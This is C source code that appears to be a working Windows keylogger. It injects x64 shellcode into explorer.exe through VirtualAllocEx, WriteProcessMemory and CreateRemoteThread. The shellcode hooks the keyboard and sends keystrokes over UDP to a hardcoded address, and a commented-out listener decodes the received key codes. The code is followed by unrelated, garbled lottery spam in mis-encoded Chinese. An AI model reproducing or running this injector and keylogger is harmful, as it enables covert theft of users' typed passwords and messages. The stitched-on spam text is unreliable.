                    case VK_F20:  key = "[F20]"; break;
                    case VK_F21:  key = "[F22]"; break;
                    case VK_F22:  key = "[F23]"; break;
                    case VK_F23:  key = "[F24]"; break;
                    case VK_F24:  key = "[F25]"; break;
                    // Keys
                    case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
                    case VK_SCROLL:  key = "[SCROLL-LOCK]"; break;
                    case VK_BACK:    key = "[BACK]"; break;
                    case VK_TAB:     key = "[TAB]"; break;
                    case VK_CLEAR:   key = "[CLEAR]"; break;
                    case VK_RETURN:  key = "[ENTER]"; break;
                    case VK_SHIFT:   key = "[SHIFT]"; break;
                    case VK_CONTROL: key = "[CTRL]"; break;
                    case VK_MENU:    key = "[ALT]"; break;
                    case VK_PAUSE:   key = "[PAUSE]"; break;
                    case VK_CAPITAL: key = "[CAP-LOCK]"; break;
                    case VK_ESCAPE:  key = "[ESC]"; break;
                    case VK_SPACE:   key = "[SPACE]"; break;
                    case VK_PRIOR:   key = "[PAGEUP]"; break;
                    case VK_NEXT:    key = "[PAGEDOWN]"; break;
                    case VK_END:     key = "[END]"; break;
                    case VK_HOME:    key = "[HOME]"; break;
                    case VK_LEFT:    key = "[LEFT]"; break;
                    case VK_UP:      key = "[UP]"; break;
                    case VK_RIGHT:   key = "[RIGHT]"; break;
                    case VK_DOWN:    key = "[DOWN]"; break;
                    case VK_SELECT:  key = "[SELECT]"; break;
                    case VK_PRINT:   key = "[PRINT]"; break;
                    case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
                    case VK_INSERT:  key = "[INS]"; break;
                    case VK_DELETE:  key = "[DEL]"; break;
                    case VK_HELP:    key = "[HELP]"; break;
                    // Number Keys with shift
                    case 0x30:  key = shift ? ")" : "0"; break;
                    case 0x31:  key = shift ? "!" : "1"; break;
                    case 0x32:  key = shift ? "@" : "2"; break;
                    case 0x33:  key = shift ? "#" : "3"; break;
                    case 0x34:  key = shift ? "$" : "4"; break;
                    case 0x35:  key = shift ? "%" : "5"; break;
                    case 0x36:  key = shift ? "^" : "6"; break;
                    case 0x37:  key = shift ? "&" : "7"; break;
                    case 0x38:  key = shift ? "*" : "8"; break;
                    case 0x39:  key = shift ? "(" : "9"; break;
                    // Windows Keys
                    case VK_LWIN:     key = "[WIN]"; break;
                    case VK_RWIN:     key = "[WIN]"; break;
                    case VK_LSHIFT:   key = "[SHIFT]"; break;
                    case VK_RSHIFT:   key = "[SHIFT]"; break;
                    case VK_LCONTROL: key = "[CTRL]"; break;
                    case VK_RCONTROL: key = "[CTRL]"; break;
                    // OEM Keys with shift
                    case VK_OEM_1:      key = shift ? ":" : ";"; break;
                    case VK_OEM_PLUS:   key = shift ? "+" : "="; break;
                    case VK_OEM_COMMA:  key = shift ? "<" : ","; break;
                    case VK_OEM_MINUS:  key = shift ? "_" : "-"; break;
                    case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
                    case VK_OEM_2:      key = shift ? "?" : "/"; break;
                    case VK_OEM_3:      key = shift ? "~" : "`"; break;
                    case VK_OEM_4:      key = shift ? "{" : "["; break;
                    case VK_OEM_5:      key = shift ? "|" : "\\"; break;
                    case VK_OEM_6:      key = shift ? "}" : "]"; break;
                    case VK_OEM_7:      key = shift ? "\"" : "'"; break; //TODO: Escape this char: "
                    // Action Keys
                    case VK_PLAY:       key = "[PLAY]";break;
                    case VK_ZOOM:       key = "[ZOOM]";break;
                    case VK_OEM_CLEAR:  key = "[CLEAR]";break;
                    case VK_CANCEL:     key = "[CTRL-C]";break;
            
                    default: key = "[UNK-KEY]";break;
                }
                return key;
    }
     
     
     
    int main()
    {
        int port;
        SOCKET s;
        struct sockaddr_in sr,cr;
        WSADATA wsa;
        KEYDATA keystrk;
        char * n;
        
        printf("Enter Port Number To Listen: ");
        scanf("%d",&port);
        
        if(WSAStartup(514,&wsa))
        {
            printf("WSAStartup() Failed");
            return 0;
        }
        
        if((s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
        {
            printf("Failed To Create Socket...");
            return 0;
        }
        
        ZeroMemory(&sr,16);
        sr.sin_family=AF_INET;
        sr.sin_port=htons(port);
        
        if(bind(s,(struct sockaddr *)&sr,16))
        {
            printf("Failed To Bind..");
            return 0;
        }
        
        port=16; //Why bother to declare a variable for int * fromlen
        while(1)
        {
            recvfrom(s,(char *)&keystrk,8,0,(struct sockaddr *)&cr,&port);
            n=Determine(keystrk.caps&0x0001,keystrk.shift>>15,keystrk.vkcode);
            printf("%s",n);
        }
        return 0;
    }
     
     
     
    */
     
     
    #include<windows.h>
    #include<stdio.h>
    #include<string.h>
    #include<tlhelp32.h>
     
    char shellcode[]="\xeb\x1d\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x30\x48\x8b\x06\x48\x8b\x70\x20\x5b\x53\xc3\xe8\xde\xff\xff\xff\x52\x52\x4c\x8d\x3c\x24\x48\x83\xec\x38\x4c\x8d\x24\x24\x48\x83\xec\x58\x48\x8d\x3c\x24\x41\x57\x41\x54\x57\x48\xb8\x48\x45\x52\x45\x49\x54\x49\x53\x50\x48\x31\xc0\x66\xb8\xcc\x01\x48\x01\xc3\x53\x48\x89\xf1\x48\x8d\x93\x6e\xff\xff\xff\x4d\x31\xc0\x41\xb0\x02\x49\x89\xf9\xff\xd3\x41\x5d\x48\x31\xc0\x50\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x48\x89\x04\x24\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x8b\x77\x08\x48\x83\xec\x28\xff\xd6\x48\x96\x48\x8d\x4c\x24\x28\xc7\x01\x75\x73\x65\x72\xff\xd0\x48\x89\xc1\x49\x8d\x55\x8c\x4d\x31\xc0\x41\xb0\x06\x4c\x8d\x4f\x10\x41\xff\xd5\x48\x89\xf1\x49\x8d\x55\xe7\x4d\x31\xc0\x41\xb0\x03\x4c\x8d\x4f\x40\x41\xff\xd5\x48\x83\xc4\x38\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x83\xc1\x6a\x48\x8d\x14\x24\x48\x8b\x5f\x40\xff\xd3\x48\x31\xc9\xb1\x02\x51\x51\x5a\x41\x58\x41\xb0\x11\x48\x8b\x5f\x48\xff\xd3\x48\x89\x47\x08\x48\x8b\x1f\x48\x31\xc9\xff\xd3\x41\xc6\x07\x02\x66\x41\xc7\x47\x02\xdb\x83\x41\xc7\x47\x04\xc1\xa1\xc1\x63\x4d\x31\xc9\x41\x51\x41\x51\x59\x5a\xb1\x0d\x49\x89\xc0\xb2\xbc\x4c\x01\xea\x48\x8b\x5f\x10\xff\xd3\x49\x8d\x4c\x24\x08\x48\x31\xd2\x52\x52\x41\x58\x41\x59\x48\x8b\x5f\x28\xff\xd3\x49\x8d\x4c\x24\x08\x48\x8b\x5f\x30\xff\xd3\x49\x8d\x4c\x24\x08\x48\x8b\x5f\x38\xff\xd3\xeb\xd4\x47\x65\x74\x4d\x6f\x64\x75\x6c\x65\x48\x61\x6e\x64\x6c\x65\x41\x01\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x01\x53\x65\x74\x57\x69\x6e\x64\x6f\x77\x73\x48\x6f\x6f\x6b\x45\x78\x41\x01\x43\x61\x6c\x6c\x4e\x65\x78\x74\x48\x6f\x6f\x6b\x45\x78\x01\x47\x65\x74\x4b\x65\x79\x53\x74\x61\x74\x65\x01\x47\x65\x74\x4d\x65\x73\x73\x61\x67\x65\x41\x01\x54\x72\x61\x6e\x73\x6c\x61\x74\x65\x4d\x65\x73\x73\x61\x67\x65\x01\x44\x69\x73\x70\x61\x74\x63\x68\x4d\x65\x73\x73\x61\x67\x65\x41\x01\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x01\x73\x6f\x63\x6b\x65\x74\x01\x73\x65\x6e\x64\x74\x6f\x01\x56\x57\x41\x50\x52\x41\x51\x51\x41\x5b\x48\x31\xdb\x53\x53\x5a\x58\x8b\x59\x3c\x48\x01\xcb\xb2\x88\x8b\x04\x13\x48\x01\xc8\x48\x31\xd2\x52\x52\x52\x41\x58\x41\x59\x41\x5a\x44\x8b\x40\x20\x4d\x01\xd8\x44\x8b\x48\x24\x4d\x01\xd9\x44\x8b\x50\x1c\x4d\x01\xda\x48\x31\xd2\x48\x31\xf6\x56\x59\x41\x8b\x34\x90\x4c\x01\xde\x48\x8b\x7c\x24\x08\x48\x31\xc0\x8a\x04\x0f\x48\xff\xc1\x3c\x01\x75\xf6\x48\xff\xc2\x51\x48\xff\xc9\x48\x87\xf7\xf3\xa6\x59\x75\xd3\x48\xff\xca\x48\x8b\x7c\x24\x08\x48\x01\xcf\x48\x89\x7c\x24\x08\x48\x31\xdb\x53\x58\x66\x41\x8b\x1c\x51\x41\x8b\x04\x9a\x4c\x01\xd8\x48\x8b\x1c\x24\x48\x89\x03\x48\x83\xc3\x08\x48\x89\x1c\x24\x48\x8b\x5c\x24\x10\x48\xff\xcb\x48\x89\x5c\x24\x10\x48\x31\xd2\x48\x39\xd3\x75\x8e\x48\x83\xc4\x18\x5f\x5e\xc3\x48\x83\xec\x58\x41\x50\x52\x51\x48\x31\xf6\x48\xb8\x48\x45\x52\x45\x49\x54\x49\x53\x4c\x8b\x14\x34\x48\xff\xc6\x49\x39\xc2\x75\xf4\x48\x83\xc6\x07\x48\x8d\x1c\x34\x48\x8b\x3b\x4c\x8b\x63\x08\x4c\x8b\x7b\x10\x48\x85\xc9\x75\x68\x48\x31\xdb\xb3\x01\x48\xc1\xe3\x08\x48\x39\xda\x75\x5a\x48\x8b\x5f\x20\x48\x31\xc9\xb1\x14\xff\xd3\x66\x41\x89\x04\x24\x48\x8b\x5f\x20\x48\x31\xc9\xb1\x10\xff\xd3\x66\x41\x89\x44\x24\x02\x48\x8b\x5c\x24\x10\x8b\x03\x41\x89\x44\x24\x04\x48\x83\xec\x58\x48\x8b\x4f\x08\x41\x54\x5a\x4d\x31\xc9\x41\x51\x41\x58\x41\xb0\x10\x4c\x89\x7c\x24\x20\x4c\x89\x44\x24\x28\x49\x83\xe8\x08\x48\x8b\x5f\x50\xff\xd3\x48\x83\xc4\x58\x5a\x41\x58\x41\x59\x48\x8b\x5f\x18\x48\x31\xc9\xff\xd3\x48\x83\xc4\x58\xc3";
     
     
     
    int main()
    {
        HANDLE s,proc;
        PROCESSENTRY32 ps;
        BOOL process_found=0;
        LPVOID shell;
        SIZE_T total;
        
        //finding explorer.exe pid
        
        ps.dwSize=sizeof(ps);
        
        s=CreateToolhelp32Snapshot(2,0);
        
        if(s==INVALID_HANDLE_VALUE)
        {
            printf("CreateToolhelp32Snapshot() failed.Error code %d\n",GetLastError());
            return -1;
        }
        
        if(!Process32First(s,&ps))
        {
            printf("Process32First() failed.Error code %d\n",GetLastError());
            return -1;
        }
        
        
        do{
            if(0==strcmp(ps.szExeFile,"explorer.exe"))
            {
                process_found=1;
                break;
            }
        }while(Process32Next(s,&ps));
        
        
        if(!process_found)
        {
            printf("Unknown Process\n");
            return -1;
        }
            
            
        //opening process using pid
            
            
        proc=OpenProcess(PROCESS_ALL_ACCESS,0,ps.th32ProcessID);
        
        if(proc==INVALID_HANDLE_VALUE)
        {
            printf("OpenProcess() failed.Error code %d\n",GetLastError());
            return -1;
        }  
        
        
        //allocating memory process memory
        
        if( (shell=VirtualAllocEx(proc,NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE)) == NULL)
        {
            printf("Failed to allocate memory into process");
            CloseHandle(proc);
            return -1;
        }
        
        
        //writing shellcode into process memory
        
        WriteProcessMemory(proc,shell,shellcode,sizeof(shellcode),&total);
        
        if(sizeof(shellcode)!=total)
        {
            printf("Failed write shellcode into process memory");
            CloseHandle(proc);
            return -1;
        }
        
        
        //Executing shellcode
        
        if((s=CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0))==NULL)
        {
            printf("Failed to Execute shellcode");
            CloseHandle(proc);
            return -1;
        }
        
        CloseHandle(proc);
        CloseHandle(s);
        
        return 0;
        
        
    }







    11Ñ¡5ÈÎ3µ¨ÍϼÆËãÆ÷ ¹íÁùÉñËãÅÅÁÐÈýµ¨Âëͼ ËÕÖݲÊÃñÖÐ˫ɫÇòÍ·½± ¸£²Ê3d2011Ä꿪½±Êý¾Ý ºÓÄÏ¿ìÈýÁ¬Ïß×ßÊÆÍ¼ °Ù¶È
    ÖØÇìʱʱ²ÊÀúÊ·Êý¾ÝÏàͬºÅ ÅÅÁÐÈý379ǰºó¹ØÏµ ¸£²Ê3dºÍÖµ¿ç¶ÈÀúÊ·×ßÊÆÍ¼ ÉϺ£Òƶ¯ÊÖ»ú²ÊƱƽ̨ °²»Õ11Ñ¡5¿ª½±Ê±¼ä
    ʱʱ²ÊÂòÀäºÅ ´óÀÖ͸16136СÂí¸çÔ¤²â Ë®¿âд徺²Ê ·¿¼Û Öйú»¥ÁªÍø²ÊƱÊÔµãÆ½Ì¨ Ìå²ÊÅÅÁÐÈý´åÖ§ÊéÌõ¼þ×¨Çø
    ¹ãÖÝ¿ìÈý¿ª½±½á¹ûÖ±²¥ ʤ¸º²Ê19026ÀÞÌ¨ÍÆ¼ö ˫ɫÇò2017129ÆÚÅ·ÑôСÎÄ×ÖÃÕ ÅÅÁÐÈý¿ª½±×ßÊÆÍ¼ 2Ôª²ÊÆ±Íø ½­ËÕ¿ìÈý¿ª½±Ê±¼ä¸Ä³Éÿ¶þÊ®·ÖÖÓÒ»´Î£¿